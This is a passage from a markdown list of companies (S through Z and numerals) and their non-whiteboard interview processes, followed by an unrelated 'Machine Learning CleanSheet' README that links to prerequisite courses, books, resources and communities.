Pairing session, and architecture interview on previous experience. - [Stripe](https://stripe.com) | San Francisco, CA / Seattle, WA / Dublin, Ireland / Singapore, SG / Remote | Programming/debugging phone screen + on site with your own laptop/setup and full access to internet, systems design discussion and talk with hiring manager about team alignment. - [Structura Biotechnology](https://structura.bio) | Toronto, Canada | Phone screening, take-home coding challenge, on-site review and discussion about past experience, and high-level architectural brainstorm - [STRV](https://strv.com/careers) | Prague, Czech Republic; Brno, Czech Republic; Remote | A social interview with a recruiter + take-home coding challenge followed by a technical interview session discussing your approach in solving the take-home assignment + a culture-fit interview with the head of engineering. - [STYLABS](http://www.stylabs.in) | Mumbai, India | Phone Screen, Take-home project and discussion on-site - [Subvertical (VerticalChange)](https://verticalchange.com/job_posts) | Remote | Phone screening, live pair programming & personal project code review - [Sulvo](https://sulvo.com/careers) | New York, NY / Remote | Interview over video call for cultural fit first, if you pass we proceed with technical interview that doesn't include coding games or challenges - [Summitto](https://careers.summitto.com) | Amsterdam, Netherlands | take-home coding challenge and on-site interview - [SuperAwesome](https://www.superawesome.com) | London, UK | Short recruiter phone screen, take-home exercise, follow up system design and cultural interview focused on your past experience. - [Superplayer](https://superplayer.fm) | Porto Alegre, Brazil | Skype/On-site interview, take-home project and interview with CTO and CEO - [Surglogs](https://surglogs.com/careers/slovakia/) | Remote | (Europe timezone) Phone screen, take-home assignment with a follow-up call, or live coding focused on building simple real-world scenarios (based on your preference), culture-fit call with team and CTO. - [SurveySparrow](https://surveysparrow.com/careers) | Kochi, India | Skype interview, take home project and code review, interview with CTO and CEO - [Svix](https://www.svix.com) | Remote | Take home project, an interview to discuss the project, and a cultural fit interview. - [SVTi (Sveriges Television)](http://svti.svt.se) | Stockholm, Sweden | On-site interview, take-home project, follow up interview where you walk through how you chose to solve the task. - [SweetIQ](https://sweetiq.com/about/careers) | Montreal, Canada | Discussion and general, high level questions - [Swiftly](https://www.swiftly.com/about/careers) | Seattle, WA; San Francisco, CA | Take-home coding project, design principles discussions, collaborative problem solving - [Swisscom](https://www.swisscom.ch/en/about/career.html) | Rotterdam, The Netherlands | A mix of behavioural, technical and cultural interview, take-home project, project review with engineers from different teams and cultural interview with staff members. - [Symphony Commerce](https://www.symphonycommerce.com/careers) | San Francisco, CA / Remote | Take-home project (phone), design discussion, review and critique _our_ code, debugging questions - [Symplicity](https://www.symplicity.com/about/join-us) | Arlington, VA | Take-home project and code review in-person - [SysGarage](http://sysgarage.com) | Buenos Aires, Argentina | Take-home project and real world pair programming - [TableCheck](https://www.tablecheck.com/en/company/jobs/) | Tokyo, Japan | Show us your code! Brief call then take-home project or pairing for those without code. - [Tailor Brands](https://tailorbrands.com/jobs) | Tel Aviv-Yafo, Israel | Discuss knowledge and interests, explore previous work experience, during the technical interview we discuss real-life problems. - [tails.com](https://tails.com/careers) | Richmond (London), UK | Live pair programming or take home project with review - [takeaway.com](https://careers.takeaway.com) | Enschede, Netherlands & Berlin, Germany | Discussion and general, high level questions - [Tandem](https://www.madeintandem.com) | Chicago, IL; San Francisco, CA | Introductory phone screen, take-home project, take-home project phone review, a few hour-long pairing sessions on real projects. - [Tanooki Labs](http://tanookilabs.com) | New York, NY | Paid half-day take home project with followup review and discussion - [Tara AI](https://tara.ai/about/careers) | San Jose, CA | On-site interview with a deep dive into appropriate technology and our problem space. The same sort of problem solving you would do with peers after a standup - [Tattoodo](https://www.tattoodo.com) | Copenhagen, Denmark | Takehome exercise - [Taxdoo](https://www.taxdoo.com/#/jobs/) | Hamburg, Germany | On-site interview, little takehome exercise, followup review/interview - [Ten Thousand Coffees](https://tenthousandcoffees.com) | Toronto, Canada | Take home project, then explain how you solved the project - [Teraki](https://www.teraki.com) | Berlin, Germany | Pair programming exercise, 45min to 3h according to seniority and role. - [Tes](https://engineering.tes.com/recruitment/) | Remote; London, UK | Remote pair programming session on React/Node kata with small takehome exercise as prep. Remote interview with senior engineers about previous experience, technical knowledge and interests. - [Tesco PLC](https://www.tesco.com) | London, United Kingdom | Pair programming and casual hypothetical system design discussion - [Test Double](https://testdouble.com/careers) | Remote | Initial conversation, Consulting interview, Technical interview, Pair programming, Takehome exercise. - [Textio](https://textio.com/careers/?utm_source=github&utm_medium=forum&utm_campaign=textio-careers-engineering&utm_content=poteto-hiring-without-whiteboards) | Seattle, WA | Initial screen to discuss experience and interest in a role at Textio; then a take-home programming task is discussed during a 1-hour tech screen (on-site or remote); finally a larger take-home project, simulating real work, is discussed during an on-site presentation plus 1-1s; [How we hire](https://textio.ai/how-we-hire-a74cdbadd1e8) - [The Book of Everyone](https://thebookofeveryone.workable.com) | Barcelona, Spain | Quick interview, meet the team, pairing with developers on your own project - [The Zebra](https://www.thezebra.com/about/careers/) | Austin, TX | Take-home coding challenge with in-person review and pair programming. - [theScore](http://mobile.thescore.com/careers) | Toronto, Canada | Coding challenge & systems design challenge - [Thinkmill](https://www.thinkmill.com.au) | Sydney, Australia | Initial meet and greet interview with Thinkmillers from the relevant team, take home assignment followed by tech review on a followup interview. - [Thinslices](http://www.thinslices.com) | Iasi, Romania | Takehome exercise & in person pair programming on a simple Kata. - [thoughtbot](https://thoughtbot.com/jobs) | San Francisco, CA; London, UK | [Our interview process](https://thoughtbot.com/playbook/our-company/hiring#interviewing) - [ThoughtWorks](https://www.thoughtworks.com/careers) | San Francisco, CA | Interviews with ThoughtWorkers of diverse backgrounds and roles; take home assignment followed by in person pairing session. - [ThoughtWorks Singapore](https://www.thoughtworks.com/careers/singapore) | Singapore, Singapore | Interviews with ThoughtWorkers of diverse backgrounds and roles; Simple, live paired coding exercise in language of choice focused on clean code, not speed. Followed by refactoring paired interview, and technical discussion on modelling and system design, tech depth & breadth and team leading skills (if applicable). - [Thread](https://www.thread.com/jobs) | London, UK | Take home test, real world architecture design, real world pair programming. - [ThreatSpike Labs](https://www.threatspike.com) | London, UK | Take home computing and security related challenges to be completed over a week. - [Tilde](http://www.tilde.io) | Portland, OR | Pair programming sessions with each member of the team, working on problems similar to daily work. - [Timbuktu](https://www.timbuktutravel.com) | Cape Town, South Africa | On site interview and pair programming exercise - [Tipalti](https://tipalti.com) | Glil-Yam, Israel | Real-world design and coding challenges - [Titanium](https://titanium.codes) | Moldova, Chisinau | High level review of public activity on GitHub/BitBucket/Gitlab (if applicable) and screening via phone, On-site technical & Team fit interview, Formal "Meet the Team" meeting - [Toggl](https://toggl.com/jobs) | Remote / Tallinn, Estonia | Online test on basic programming skills, followed by interview (typically includes get-to-know questions and technical skill testing). Depending on the team, there may be a take-home or live coding assignment. **Paid test week** to work with the team on actual bugs/features. - [Tooploox](https://www.tooploox.com/careers) | Warsaw, Poland; Wroclaw, Poland; Gdansk, Poland; Remote | Team fit interview and then take-home project. Next on-site or remote interview consisting of discussion and live coding based on the delivered code. Focusing on high level questions, architecture and design decisions. - [Toowoxx](https://toowoxx.de/index.php/karriere/) | Deisenhausen, Germany & Ulm, Germany | Short interview with general questions, on-site programming challenge, code review of result - [Top Hat](https://tophat.com/company/work-with-us/) | Remote / Toronto, Canada | Short coding challenge inspired from the day-to-day problem space followed by a longer frontend or backend pairing design and implementation exercise - [Tophatter](https://tophatter.com/careers) | San Francisco, CA; Portland, OR; Remote | Introductory call, followed by a technical phone screen that takes place on Coderpad. Next is the onsite interview, consisting in a bug squash, a refactoring exercise, a project, and closing with an informal chat about how the candidate likes to work and what they’re looking for in their next job. - [Torii](https://jobs.jointorii.co) | Raanana, Israel | Take-home fun full-stack-app exercise followed by an on-site review - [Toucan Toco](http://toucantoco.com/fr/team#jobs) | Paris, France | Pair-programming and TDD - [Touché](https://gotouche.com) | Singapore, Singapore; Barcelona, Spain | Skype / Phone / on-site interview, take-home project, technical interview to discuss the project, team interview. - [TrademarkVision](https://trademark.vision) | Brisbane, Australia | On site interview and quick take-home exercise - [TrainHeroic](http://trainheroic.com/careers/) | Boulder, CO; Denver, CO | Phone screen, take home project, remote and on-site interviews for technical and cultural fit - [TrainingPeaks](http://www.trainingpeaks.com/careers.html) | Boulder, CO; Denver, CO | Phone screen, take home project, remote and on-site interviews for technical and cultural fit - [Transparent Classroom](https://www.transparentclassroom.com) | Seattle, WA; Remote | Phone screen, 1 hr pairing on toy problem, 4 hr pairing on real code, full-day paid stage - [Trendency](https://trendency.hu) | Budapest, Hungary | Technical interview with a lead developer discussing past experience and tech related to the job, then culture fit/add interview with the CTO. Max 1 hour long sessions, both can be done via video call or on-site with friendly atmosphere - [TripStack](http://www.tripstack.com/company/careers/) | Toronto, Canada | Take-home assignment, followed up by a face to face code walk through - [Trivago](https://www.trivago.com) | Düsseldorf, Germany | Case Study, Skype Interview, On site Interview with some code review exercises - [Trōv](https://boards.greenhouse.io/trov) | Remote | Take-home project with followup interview from actual prospective teammates - [Truefit](https://truefit.io/about/) | Pittsburgh, PA | Phone screen, Take-home project, In-person interview with the team that you would join - [Truora](https://www.truora.com) | Bogotá, Colombia; Cali, Colombia; Remote | Take-home project, followed by phone interview with tech leads to discuss the project. - [Truss](https://truss.works/jobs) | San Francisco, CA; Remote | Phone screen/ Take-home project that resembles a problem Truss has seen many times before / Followup interview about the project / Closing Interview, all interviews done remotely - [TuneIn](https://www.tunein.com) | San Fransisco, CA | High level screening over the phone or on-site, take home project, code review and discussion - [Twistlock](https://www.twistlock.com) | Tel Aviv, Israel | Takehome - [Typito](https://typito.com/go) | Bangalore , India | Take home assignment project with options for focus in frontend or backend work. First interview round based on the project submitted, may require to do some edits or add further feature based on discussion , live during interview. Second round mostly specific to overall system enegineering and discussion regarding solutions to common backend/frontend engineering problems. - [uberall](https://uberall.com/en/careers) | Berlin, Germany | 30-min coding on-site, then a trial day - [Ubots](http://ubots.com.br) | Porto Alegre, Brazil | Skype/On-site interview, take-home project, technical interview - [Unbounce](https://unbounce.com) | Vancouver, BC | Phone screen, take-home project, project discussion, technical interview - [Unboxed](https://unboxed.co) | London, UK | Take home feature requests, pairing with developers to extend solution, team-fit interviews, chat with a director - [Unearth](http://www.unearthlabs.com/careers) | Seattle, WA | Take home project, team-fit interviews, technical discussion - [Unito](https://unito.io/careers/) | Montreal, Canada | Team-fit interviews, technical discussion, paid take home project paired with developers. - [Untappd](https://www.untappd.com) | Wilmington, NC; New York, NY; Los Angeles, CA | Review portfolio - What projects have you worked on? + personality assessment, + interview - [Updater](http://www.updater.com/jobs/openings) | New York, NY | Begin-at-home assignment highly relevant to role, presented and discussed during on-site. - [Uprise](http://uprise.se) | Uppsala, Sweden | Take-home assignment, code review and discussion on-site - [Upstatement](https://www.upstatement.com/jobs/) | Boston, MA; New York, NY; Remote | Phone screen, take home project relevant to our work, first round interview to discuss background and take home implementation, second round interview to meet more employees and share some of your and our recent work. - [Upwave](https://www.upwave.com/careers) | San Francisco, CA; Remote | Intro call, take home project, live take home project review, application / system design conversation, behavioral interview, offer! - [Urban Dynamics](https://www.urbdyn.com/careers) | Knoxville, TN; Vilnius, Lithuania; Remote | Phone screen, take home project ([exercises publicly available](https://github.com/urbdyn/coding_exercises)), and then interview with team. - [Urban Massage](https://www.urbanmassage.com/jobs) | London, UK | Project done at home, in-person walk through. Meeting the team is an integral part. - [UserTesting](https://www.usertesting.com/about-us/jobs) | Atlanta, GA; San Francisco, CA; Mountain View, CA | Initial interview, pair programming, and offer ## V - X - [V7](https://www.v7labs.com/careers) | London, UK; Remote | Initial screen by Talent team, first technical screen (application / system design), take-home assignment and follow-up review with extra application / system design conversation - [Valassis Digital](http://www.valassis.com/digital-advertising) | Seattle, WA; San Francisco, CA; Lansing, MI; Hamburg, Germany | Phone screen, on-site interview with group, paired whiteboard problem solving and discussion, take-home project and follow-up review - [Valuemotive](https://www.valuemotive.com/careers) | Helsinki, Finland | Code examples from previous projects (work or hobby) or take-home exercise - [Varsity Tutors](https://www.varsitytutors.com) | Remote | Take home assignment, presentation of assignment, live code review with team. Advanced / high-level chat with team based on skillset and role. - [Vayu Technology](http://vayu.com.au) | Sydney, Australia; Kathmandu, Nepal | Short interview, general programming questions and short take home challenge. - [Vena Solutions](https://careers.venasolutions.com) | Toronto, Canada | Phone screen, on-site pair-programming and code-review exercise on a real-world problem - [Venminder, Inc.](https://www.venminder.com) | Elizabethtown, KY; Louisville, KY | Initial phone screen to explain position. If candidate interested they get a take home assignment followed by a non-scripted in-person interview with team members to judge personality fit. - [Verloop](https://verloop.io) | Bengaluru, India | A take home programming exercise and technical discussion - [Vernacular.ai](https://vernacular.ai) | Bangalore, India | Phone screen, Research Paper Discussion (ML Role), Code review/Open-source code navigation/on-screen Pair programming, and discussion with CTO/CEO. - [Verve](https://verve.co/careers) | London, UK | An intentionally short, take home exercise that mirrors real project work and incorporates code review elements - [Verve Industrial Protection](https://verveindustrial.com/why-verve/careers) | Madison, WI / Remote | Phone screen, project discussion and tooling experience overview in panel interview with team, practical shared-editor coding problem and relevant architectural challenge in hands-on interview - [Veterans United Home Loans](https://www.veteransunited.com/careers/) | Columbia, MO | Phone screen, remote or in person pair-programming exercise, and multiple in person panel interviews with developers and managers. - [Vingle](https://careers.vingle.net) | Seoul, Korea | Written interview, takehome project, in-person, conversational code review and interviews with engineers and engineering managers - [Vinta Software](https://www.vinta.com.br/careers/) | Recife, Brazil | Culture fit interview, architectural challenge, take home project, and pairing over work sample - [virtual7](http://virtual7.de/de/karriere) | Kalrsruhe, Germany | Phone interview and on-site interview based on personal experience. - [Virtually Human](https://www.vhslab.com) | Remote | Take home assignment, Short interview around the assignment and past experience. - [Visma e-conomic](https://www.e-conomic.dk/om/job) | Copenhagen, Denmark | Take home assignment, assignment presentation and discussion - [Vitality South](https://vitalitysouth.com) | Tupelo, MS | Take home project, code review, and in-person discussion - [Voltra Co.](https://voltra.co) | Amsterdam, Netherlands / New York, NY / Remote | Show us your github account, tell us what you know. Let's pair on an OSS PR! - [VSX](https://https://vsx.net/jobs) | Dresden, Germany | On-site interview, home coding challenge, presentation/discussion of proposed solutions - [VTEX](http://lab.vtex.com/careers) | Rio de Janeiro, Brazil | Take-home project, Skype interview and then in-person talk. - [VTS](https://buildingvts.com) | New York City, New York | Technical Phone Screen, Pair programming on-site & in-person talks with multiple engineers - [Wallapop](https://apply.workable.com/wallapop/) | Barcelona, Spain | Intro call, technical take-home project OR tech repository you feel proud that highlights your skills for the job, practical interview and finally a competency interview - [Waymark](https://waymark.com/jobs) | Detroit, MI | Technical phone screen, take-home project, going over the project in person, follow up day in the office - [Wealthsimple](https://www.wealthsimple.com/work-with-us) | Toronto, Canada | Pair programming on a problem similar to daily work, discussion of system design - [WeAreHive](http://www.wearehive.co.uk) | London, UK | Just walk us through your best code or we give you a small real-world exercise to do at home. - [Webantic](https://webantic.co.uk/careers) | Manchester, UK | Basic TNA self-assessment and real-world problem-solving - [Webflow](https://webflow.com) | San Francisco, CA & Remote | Short take-home challenge, followed by a paid 3-5 day freelance contract project - [Weedmaps](https://weedmaps.com/careers) | Irvine, CA; Denver, CO; Tucson, AZ; Madrid, Spain; Remote | Phone screen, Group interview, and possible code review - [Wells Fargo (Technology Program)](https://www.wellsfargojobs.com/en/university-programs/undergraduate-programs/) | San Francisco, CA; Charlotte, NC; Des Moines, IA; Minneapolis, MN; Phoenix, AZ; St. Louis, MO | One round , Behavioral + One simple System Design Question + Questions for your resume - [wemake.services](https://wemake.services) | Remote | Short unpaid take-home challenge, code review, portfolio discussion - [Wend](https://www.wend.nl) | Amsterdam, Netherlands | Face to face interview followed by a take-home assignment - [Weploy](https://www.weployapp.com/join-our-team/) | Melbourne, Australia; Sydney, Australia | Phase 1: Face to face interview to get to know the candidate. Phase 2: Problem solving session that involves designing a solution to a real-world problem followed by 1/2 day of pairing with a senior dev on implementing the proposed solution. - [WeTransfer](https://wetransfer.com/jobs) | Amsterdam, Netherlands | Culture fit and fundamentals chat, skills interview - no whiteboarding! - and take-home project, communication and collaboration interview, meet with the VP of Engineering - [Wheely](https://wheely.com/en/careers) | Moscow, Russia | Get to know each other in under 30 minutes on-site or via Skype, take-home challenge, on-site review and interview with the team. - [Wikimedia Foundation]([https://jobspage](https://wikimediafoundation.org/about/jobs/)) | Remote | Cultural fit interview, about one hour of discussing possible solutions for real problems the team you are applyig to could face. Not right or wrong answers, more of a brainstorming with two engineers who will evaluate how your problem solving workflow works. - [Wildbit](https://wildbit.com) | Philadelphia, PA & Remote | Take-home project followed by interviews. - [Windy.com](https://windy.com) | Prague, Czechia | Talk and write small programm on a computer - [Wirecard Brasil](https://wirecardbrasil.workable.com) | São Paulo, Brazil | Phone or on-site Cultural Fit interview, take-home coding challenge, code review and discussing in-person. - [Wiredcraft](https://wiredcraft.com) | Shanghai, China | Phone or on-site interview, take-home coding challenge, code review and discussing in-person. - [WorldGaming](https://worldgaming.com) | Toronto, Canada | Technical Interview, Solution Design, Take Home Assignment, then Culture fit interview with the team - [woumedia](https://woumedia.com) | Remote | Getting to know each other and aligning expectations. Talking about past experiences, projects you are proud of and latest challenges you faced. It’s followed by a use case study from one of our current projects. - [WyeWorks](https://wyeworks.com) | Montevideo, Uruguay | Take-home project and discussion on-site - [X-Team](http://x-team.com) | Remote | A short, fun Node.js challenge, followed by a series of culture-based interview questions, followed by a creative mock project with tons of freedom on how to approach, and follow-up questions about the approach they chose to discuss the tradeoffs. Usually a 10-30 day paid training is rewarded to top candidates to prep them for remote communication skills needed to join a team. - [Xebia Security](https://xebia.com/careers/security/) | Hilversum, Netherlands | Culture fit, Technical interview, followed by take-home security project, on-site brainstorm session to discuss the solutions and approach. - [XING](https://www.xing.com) | Hamburg, Germany | Take-home coding challenge, on-site review and short interviews with future team. - [Xplor](https://ourxplor.com) | Melborne, Australia; London, UK | Phone Cultural Fit interview, Take home-code challenge, pair-programming session and discussion about past experience ## Y - \# - [18F](https://18f.gsa.gov/join/) | Remote; Washington, DC; New York, NY; Chicago, IL; San Francisco, CA | take-home coding exercise (2-4 hours), technical and values-match interviews over video chat - [21st Real Estate](https://21re.de) | Berlin, Germany | Phone call for quick personal introduction followed by Video call interview. Finally, a pair-programming session on-site. - [23 Technologies](https://23technologies.cloud) | Remote | Three video calls: general introduction, team introduction, contract - [3BoxLabs](https://3boxlabs.com) | Remote | Intro call, resume walk-through, and finally live work exercise with ~2 hours indepdendent work followed by ~1.5 hour debrief discussing the work with the rest of the team. - [3D Hubs](https://3dhubs.com/jobs) | Amsterdam, The Netherlands | Take-home code challenge from our product's domain followed by discussion remote/on-site, sometimes do an additional on-site pair programming session. - [47 Degrees](https://47-degrees.breezy.hr) | Remote; Seattle, WA; Madrid, ESP; Cadiz, ESP; London, UK | Questions related to implementation of specific projects using popular functional programming libraries and techniques and a discussion about the tradeoffs. Discussion of past open-source projects/contributions and future open-source goals. **Note:** This company looks for people who have modern functional programming experience in Haskell, Scala, Swift, or Kotlin and it looks for people who have existing open-source contributions in those fields so the roles can be a bit self-selecting. - [4Degrees](https://4degrees.ai/about/) | Chicago, Illinois | Collaborative pair-programming exercise done through video chat that's representative of the responsibilities of the job then a take-home programming task. - [500friends](http://500friends.com/who-we-are/careers) | San Francisco, CA; Remote | Take home challenge followed by onsite expansion of the submission and high level discussions (design exercise or overview of past projects) - [500Tech](https://500Tech.com) | Tel Aviv, Israel | Pair programming on a laptop in working env - [5Minds](https://5minds.de) | Remote; Gelsenkirchen-Buer, DE | Coding exercise via GitHub, you are interviewed by a developer and a team lead, there is no live coding - [8th Light](https://8thlight.com) | Chicago, IL; London, UK; Los Angeles, CA; New York, NY | Take home code challenge, discussion, pair programming session - [YLD](https://jobs.lever.co/yld) | London, UK; Lisbon, PT; Porto, PT & Remote | Take home-code challenge, pair-programming session and discussion about past experience - [Yodas](https://yodas.com) | Binyamina, Israel | Coding tasks over github repository - [YouGov](https://yougov.com) | Remote; San Francisco, CA; London, UK; Warsaw, Poland; Mumbai, India; Hong Kong, Hong Kong | Coding exercise sometimes over github repository, at least 1 interview with a developer and a lead, no live coding. - [Yoyo Wallet](http://yoyowallet.com) | London, UK | Take home code challenge, discussion of the code challenge, and general, high level questions - [YunoJuno](http://www.yunojuno.com) | London, UK | Code challenge based on a realistic feature request on a real open-source package created and used at YunoJuno; phone/video interview with members of the Product team to explore technical background, experiences, interests, cultural fit; on-site interview, usually with Product Manager and CTO - [ZAP Group](https://jobs.kenoby.com/grupozap/) | São Paulo, Brazil | Takehome exercise, series of real-world interviews with engineers, HR, engineering managers and product managers on site. - [Zapier](https://zapier.com/jobs/) | Remote | Recruiter interview, take-home project, code review of the take-home project, technical discussions with hiring manager and engineers from the team, values interview. - [Zencargo](https://www.zencargo.com/careers) | London, UK | Initial interview with CTO, covering professional experience interests and expectations, followed by one technical interview focused on fundamentals and familiarity with best practices. A further short chat with co-founders to get to know each other - - either onsite or remote. - [Zenefits (UI Team)](https://www.zenefits.com/careers) | San Francisco, CA | One technical phone screen focused on JS fundamentals and/or one timeboxed take-home challenge. The onsite is a series of interviews designed to test your understanding of JS, HTML/CSS, design, etc. - [Zensurance](https://www.zensurance.com/careers) | Toronto, Canada; Remote | Timeboxed take-home challenge representatitive of the types of challenges faced day-to-day, and zoom chats with recruiter / hiring managers. - [Zerodha](https://zerodha.com/careers) | Bengaluru, India | Technical call at the beginning and one take home programming task. - [Zweitag](https://www.zweitag.de/karriere) | Münster, Germany & Remote | Get-to-know call, take-home task representative to our problems, mentoring throughout the process, on-site pairing and discussion, talks for aligning expectations - [Zype](https://www.zype.com/careers#open-positions) | New York, NY & Remote | Skype/Video call with VP of Product and a take-home challenge. ## Also see: - [They Whiteboarded Me!](http://they.whiteboarded.me) [](https://github.com/poteto/hiring-without-whiteboards/actions/workflows/node.js.yml)

# Machine Learning CleanSheet --- ## Prerequisite Knowledge - [ ] [Linear Algebra](https://www.youtube.com/watch?list=PLE7DDD91010BC51F8&v=ZK3O402wf1c) - [ ] [Probability theory](https://www.youtube.com/watch?list=PLUl4u3cNGP61MdtwGTqZA0MreSaDybji8&v=j9WZyLZCBzs) - [ ] [Calculus](http://kisonecat.com/teaching/2013/calculus-one/) - [ ] [Optimisation Methods](https://online.stanford.edu/courses) ## Machine Learning Algorithms Common ML algorithms (examples coming soon)! * Deep learning (MLP, CNN, RNN, LSTM) * Linear regression,Multiple regression,logistic regression] * Random Forests * Support vector machine (SVM) with kernels (Linear, Poly, RBF) * K-Means * Gaussian Mixture Model * K-nearest neighbors * Naive bayes * Principal component analysis (PCA) * Factorization machines * Restricted Boltzmann machine (RBM) * t-Distributed Stochastic Neighbor Embedding (t-SNE) * Gradient Boosting trees (also known as GBDT, GBRT, GBM, XGBoost) * Reinforcement learning (Deep Q learning) ## Beginner Books * [Real World Machine Learning](https://www.manning.com/books/real-world-machine-learning) [Free Chapters] * [An Introduction To Statistical Learning](http://www-bcf.usc.edu/~gareth/ISL/) - Book + R Code * [Elements of Statistical Learning](http://web.stanford.edu/~hastie/ElemStatLearn/) - Book * [Computer Age Statistical Inference (CASI)](https://web.stanford.edu/~hastie/CASI_files/PDF/casi.pdf) ([Permalink as of October 2017](https://perma.cc/J8JG-ZVFW)) - Book * [Probabilistic Programming & Bayesian Methods for Hackers](http://camdavidsonpilon.github.io/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers/) - Book + IPython Notebooks * [Think Bayes](http://greenteapress.com/wp/think-bayes/) - Book + Python Code * [Information Theory, Inference, and Learning Algorithms](http://www.inference.phy.cam.ac.uk/mackay/itila/book.html) * [Gaussian Processes for Machine Learning](http://www.gaussianprocess.org/gpml/chapters/) * [Data Intensive Text Processing w/ MapReduce](http://lintool.github.io/MapReduceAlgorithms/) * [Reinforcement Learning: - An Introduction](http://incompleteideas.net/book/the-book-2nd.html) ([Permalink to Nov 2017 Draft](https://perma.cc/83ER-64M3)) * [Mining Massive Datasets](http://infolab.stanford.edu/~ullman/mmds/book.pdf) * [A First Encounter with Machine Learning](https://www.ics.uci.edu/~welling/teaching/273ASpring10/IntroMLBook.pdf) * [Pattern Recognition and Machine Learning](http://users.isr.ist.utl.pt/~wurmd/Livros/school/Bishop%20-%20Pattern%20Recognition%20And%20Machine%20Learning%20-%20Springer%20%202006.pdf) * [Machine Learning & Bayesian Reasoning](http://web4.cs.ucl.ac.uk/staff/D.Barber/textbook/090310.pdf) * [Introduction to Machine Learning](http://alex.smola.org/drafts/thebook.pdf) - Alex Smola and S.V.N. Vishwanathan * [A Probabilistic Theory of Pattern Recognition](http://www.szit.bme.hu/~gyorfi/pbook.pdf) * [Introduction to Information Retrieval](http://nlp.stanford.edu/IR-book/pdf/irbookprint.pdf) * [Forecasting: principles and practice](https://www.otexts.org/fpp/) * [Practical Artificial Intelligence Programming in Java](https://www.saylor.org/site/wp-content/uploads/2011/11/CS405-1.1-WATSON.pdf) * [Introduction to Machine Learning](https://arxiv.org/pdf/0904.3664v1.pdf) - Amnon Shashua * [Reinforcement Learning](http://www.intechopen.com/books/reinforcement_learning) * [Machine Learning](http://www.intechopen.com/books/machine_learning) * [A Quest for AI](http://ai.stanford.edu/~nilsson/QAI/qai.pdf) * [Introduction to Applied Bayesian Statistics and Estimation for Social Scientists](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.177.857&rep=rep1&type=pdf) - Scott M. Lynch * [Bayesian Modeling, Inference and Prediction](https://users.soe.ucsc.edu/~draper/draper-BMIP-dec2005.pdf) * [A Course in Machine Learning](http://ciml.info/) * [Machine Learning, Neural and Statistical Classification](http://www1.maths.leeds.ac.uk/~charles/statlog/) * [Bayesian Reasoning and Machine Learning](http://web4.cs.ucl.ac.uk/staff/D.Barber/pmwiki/pmwiki.php?n=Brml.HomePage) Book+MatlabToolBox * [R Programming for Data Science](https://leanpub.com/rprogramming) * [Data Mining - Practical Machine Learning Tools and Techniques](http://cs.du.edu/~mitchell/mario_books/Data_Mining:_Practical_Machine_Learning_Tools_and_Techniques_-_2e_-_Witten_&_Frank.pdf) Book * [Machine Learning with TensorFlow](https://www.manning.com/books/machine-learning-with-tensorflow) Early access book * [Reactive Machine Learning Systems](https://www.manning.com/books/reactive-machine-learning-systems) Early access book * [Hands‑On Machine Learning with Scikit‑Learn and TensorFlow](http://index-of.es/Varios-2/Hands%20on%20Machine%20Learning%20with%20Scikit%20Learn%20and%20Tensorflow.pdf) - Aurélien Géron * [R for Data Science: Import, Tidy, Transform, Visualize, and Model Data](http://r4ds.had.co.nz/) - Wickham and Grolemund. Great as introduction on how to use R. * [Advanced R](http://adv-r.had.co.nz/) - Hadley Wickham. More advanced usage of R for programming. ## Resources - [41 Essential Machine Learning Interview Questions (with answers)](https://www.springboard.com/blog/machine-learning-interview-questions/) - [How can a computer science graduate student prepare himself for data scientist interviews?](https://www.quora.com/How-can-a-computer-science-graduate-student-prepare-himself-for-data-scientist-machine-learning-intern-interviews) - [How do I learn Machine Learning?](https://www.quora.com/How-do-I-learn-machine-learning-1) - [FAQs about Data Science Interviews](https://www.quora.com/topic/Data-Science-Interviews/faq) - [Does Balancing Classes Improve Classifier Performance?](http://www.win-vector.com/blog/2015/02/does-balancing-classes-improve-classifier-performance/) - [What is Deviance?](http://stats.stackexchange.com/questions/6581/what-is-deviance-specifically-in-cart-rpart) - [When to choose which machine learning classifier?](http://stackoverflow.com/questions/2595176/when-to-choose-which-machine-learning-classifier) - [What are the advantages of different classification algorithms?](https://www.quora.com/What-are-the-advantages-of-different-classification-algorithms) - [ROC and AUC Explained](http://www.dataschool.io/roc-curves-and-auc-explained/) ([related video](https://youtu.be/OAl6eAyP-yo)) - [An introduction to ROC analysis](https://ccrma.stanford.edu/workshops/mir2009/references/ROCintro.pdf) - [fast.ai - Practical Deep Learning For Coders](http://course.fast.ai/) - [fast.ai - Cutting Edge Deep Learning For Coders](http://course.fast.ai/part2.html) - [A curated list of awesome Deep Learning tutorials, projects and communities](https://github.com/ChristosChristofidis/awesome-deep-learning) - [Udacity - Machine Learning (Georgia Tech)](https://www.udacity.com/course/machine-learning--ud262#) ## Becoming an Open Source Contributor - [ ] [tensorflow/magenta: Magenta: Music and Art Generation with Machine Intelligence](https://github.com/tensorflow/magenta) - [ ] [tensorflow/tensorflow: Computation using data flow graphs for scalable machine learning](https://github.com/tensorflow/tensorflow) - [ ] [cmusatyalab/openface: Face recognition with deep neural networks.](https://github.com/cmusatyalab/openface) - [ ] [tensorflow/models/syntaxnet: Neural Models of Syntax.](https://github.com/tensorflow/models/tree/master/syntaxnet) ## Communities - Quora - [Machine Learning](https://www.quora.com/topic/Machine-Learning) - [Statistics](https://www.quora.com/topic/Statistics-academic-discipline) - [Data Mining](https://www.quora.com/topic/Data-Mining) - Reddit - [Machine Learning](https://www.reddit.com/r/machinelearning) - [Computer Vision](https://www.reddit.com/r/computervision) - [Natural Language](https://www.reddit.com/r/languagetechnology) - [Data Science](https://www.reddit.com/r/datascience) - [Big Data](https://www.reddit.com/r/bigdata) - [Statistics](https://www.reddit.com/r/statistics) - [Data Tau](http://www.datatau.com/) - [Deep Learning News](http://news.startup.ml/) - [KDnuggets](http://www.kdnuggets.com/) - [DSC](http://www.datasciencecentral.com)

